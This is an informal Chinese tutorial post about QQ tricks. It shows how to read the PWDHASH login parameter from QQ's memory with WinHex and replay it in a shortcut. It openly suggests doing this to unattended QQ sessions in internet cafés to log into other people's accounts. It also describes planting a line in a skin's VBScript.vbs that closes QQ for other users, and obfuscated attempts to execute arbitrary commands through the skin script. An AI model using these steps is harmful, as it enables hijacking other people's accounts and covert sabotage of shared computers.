| QQ的一点小技巧 1.如何实现多个QQ的自动登陆 2.如何不要别人的QQ登陆 注:网上可能有教程,我只是整理下.文章有点损,只谈技术,不论人品 1.首先打开qq,登录.一键切换到TM. 我没有装TM,找了一下,发现QQ里的更新好友也可以. 好友与资料-->更新好友 打开WinHex,打开内存工具.qq.搜索"PWDHASH". 这里应该看到qq登录的参数了吧. ------------图1(1.bmp)--------------- 把它们都复制下来.加到你的qq的快捷方式中就可以实现自动登录了. QQ.exe /START QQUIN:QQ号PWDHASH:加密的密码 /STAT:40 QQUIN:QQ号 PWDHASH:加密的密码 /STAT:40 (40 是隐身登陆 41 是正常登陆直接上线的那种。。。) "D:\Program Files\Tencent\qq\QQ.exe" /START QQUIN:12345678 PWDHASH:jplJ52wvuLMpK0dFxqYPua== /STAT:40 /EMB_HWND:0 ------------图2(2.bmp)--------------- 这样可以使多个QQ登陆了. 当然以后在网吧看到谁没关QQ,他就有点郁闷了.我们虽然得不到密码,但是得到了HASHPWD,还是可以随时登陆. 2.看了下网上的关于禁止使用QQ,好象都是网管封掉UDP的端口.搞的自己也不能用了. 而我们想要的是,自己能上,而别人不得. 我的方法是使用QQ皮肤.呵呵~ 有点另类,想别人也不会想到我们动了手脚吧~ 找到QQ路径下的NewSkinsQQ2005 文件夹,看到了没,有个VBScript.vbs文件. 嘿嘿,是不是有点懂了. 小试身手.写个msgbox "LoveXia",0,"hello",换下皮肤,弹出对话框了吧? ------------图3(3.bmp)--------------- 来搞大点. Set shell = CreateObject("WScript.Shell" shell.run "notepad.exe" 或者直接写一行CreateObject("WScript.Shell".exec "notepad.exe" 实验一下.我KAO!高兴太早了!什么反映都没. 汽车人变形!来Execute ------------------- a=inputbox("EXEC你!" msgbox(a) Execute(a) ------------------- ------------图4(4.bmp)--------- 对话框里CreateObject("WScript.Shell".exec "notepad.exe" msgbox出来了.但是Execute就是没反映,郁闷啊郁闷,网上谁说的漏洞来着. ------------图5(5.bmp)--------- 晕,再变: ---------------------------- str1="Crea" & chr(116)& "eObject(" & chr(34) & "WScrip" & chr(116)& ".Shell"&chr(34)&".exec "&chr(34)&"notepad.exe"&chr(34) msgbox str1 Execute str1 ---------------------------- 还是错的!!!!!!不出来.放弃5555555~~~~~.看看别的. 发现一个函数,Window.ExeCommand,QQ自带的. -------------------- '上面的三个按钮 Sub MinButton_onClick() Window.ExeCommand 1,2 End Sub -------------------- 单击响应最小化.呵呵.有点意思哦. ----------------- Sub CloseButton_onClick() Window.ExeCommand 1,3 End Sub ----------------- 今天的主角出场了.关闭QQ. 如果,如果我们把它放在代码最前面,嘿嘿.知道了吧. 具体操作如下: 准备2个皮肤,先登陆自己的QQ,然后换皮肤. 修改默认QQ皮肤下的VBScript.vbs 在DIM也就是变量声明下,加上Window.ExeCommand 1,3,保存. 登陆其它QQ看看,呵呵,刚登陆就被关闭了. 大家可以狠点,2个皮肤一样.只是VBScript.vbs不一样,这样别人怎么也看不出手脚了. 哎呀,说了.一大堆话,其实就为了这几个字. 被人扔鸡蛋了,-_-| 大家可以试试,别的参数 Window.ExeCommand 61,0 '天气预报 Window.ExeCommand 40,1 ' 宠物 |
